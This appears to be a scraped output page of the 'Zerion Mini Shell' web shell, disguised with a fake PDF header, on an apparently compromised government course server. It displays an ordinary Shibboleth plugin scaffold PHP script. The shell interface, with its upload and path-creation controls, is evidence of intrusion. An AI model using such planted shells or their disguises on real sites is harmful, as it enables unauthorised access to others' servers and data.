%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/main/auth/shibboleth/script/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/main/auth/shibboleth/script/scaffold.php

<?php

namespace Shibboleth;

/**
 * Scaffold script. Generates the required database models for the Shibboleth
 * plugin. 
 * 
 * Will only run when the server is a test server.
 * 
 * @license see /license.txt
 * @author Laurent Opprecht <laurent@opprecht.info>, Nicolas Rod for the University of Geneva
 */
$dir = __DIR__;
include_once $dir.'/../init.php';
include_once $dir.'/../app/lib/scaffolder/scaffolder.class.php';

if (!ShibbolethTest::is_enabled())
{
    echo 'This is not a test server';
    die;
}

if (!Shibboleth::session()->is_logged_in())
{
    echo 'Not authorized';
    die;
}

$name = 'user';
$result = Scaffolder::instance()->scaffold($name);

file_put_contents("$dir/output/$name.class.php", $result);

header('content-type: text/plain');
echo $result;

Zerion Mini Shell 1.0